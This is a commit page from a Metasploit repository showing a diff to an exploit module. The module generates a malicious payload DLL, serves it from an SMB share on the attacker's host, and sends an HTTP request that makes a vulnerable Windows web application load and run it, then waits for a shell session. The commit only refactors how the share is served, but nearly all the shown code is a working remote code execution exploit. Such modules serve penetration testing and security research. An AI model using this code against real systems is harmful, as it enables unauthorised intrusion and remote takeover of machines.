Skip to content

Commit 4963992

Browse files
author
Matthew Hall
committed
Modify SMB generation code to use primer based on rapid7#3074 changes to
implement Msf::Exploit::Remote::SMB::Server::Share as a mixin.
1 parent 666b8e3 commit 4963992

File tree

1 file changed

+9
-27
lines changed

1 file changed

+9
-27
lines changed

modules/exploits/windows/http/generic_http_dll_server.rb

Lines changed: 9 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010

1111
class Metasploit3 < Msf::Exploit::Remote
1212
include Msf::Exploit::Remote::HttpClient
13-
include Msf::Exploit::Remote::SMBFileServer
13+
include Msf::Exploit::Remote::SMB::Server::Share
1414
include Msf::Exploit::EXE
1515

1616
def initialize(info={})
@@ -47,37 +47,20 @@ def initialize(info={})
4747
))
4848
register_options(
4949
[
50-
OptString.new('UNCPATH', [false, 'Override the UNC path to use an existing SMB Server(Ex: \\\\192.168.1.1\\share\\exploit.dll)' ]),
50+
OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'exploit.dll']),
5151
OptString.new('URI', [true, 'Path to vulnerable URI (last argument will be the location of the file shared)', '/path/to/vulnerable/function.ext?argument=' ]),
5252
OptBool.new('StripExt', [false, 'Boolean to whether I should strip the file extension (e.g. foo.dll => foo)', true]),
5353
], self.class)
54+
deregister_options('FILE_CONTENTS')
5455
end
5556

56-
def start_server
57-
if (datastore['UNCPATH'])
58-
@unc = datastore['UNCPATH']
59-
print_status("Remember to share the malicious DLL payload as #{@unc}")
60-
else
61-
print_status("Generating our malicious dll...")
62-
exe = generate_payload_dll
63-
64-
@exe_file = rand_text_alpha(7) + ".dll"
65-
@share = rand_text_alpha(5)
66-
67-
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
68-
@unc = "\\\\#{my_host}\\#{@share}\\#{@exe_file}"
69-
vprint_status("About to start SMB Server on: " + @unc)
70-
# start_smb_server('UNC Path', 'Payload', 'Name of file to be served')
71-
start_smb_server(@unc, exe, @exe_file)
72-
end
73-
end
74-
75-
def exploit
76-
start_server
57+
def primer
58+
self.exe_contents = generate_payload_dll
59+
print_status("File available on #{unc}...")
7760
if datastore['StripExt']
78-
share = "#{@unc}".gsub(/\.dll/,'')
61+
share = "#{unc}".gsub(/\.dll/,'')
7962
else
80-
share = "#{@unc}"
63+
share = "#{unc}"
8164
end
8265
print_status("Requesting DLL load to #{datastore['RHOST']}:#{datastore['RPORT']} from #{share}")
8366

@@ -92,8 +75,7 @@ def exploit
9275
# Wait 30 seconds for session to be created
9376
1.upto(30) do
9477
break if session_created?
95-
select(nil, nil, nil, 1)
96-
handler
78+
sleep(1)
9779
end
9880
disconnect
9981
end

0 commit comments

Comments
 (0)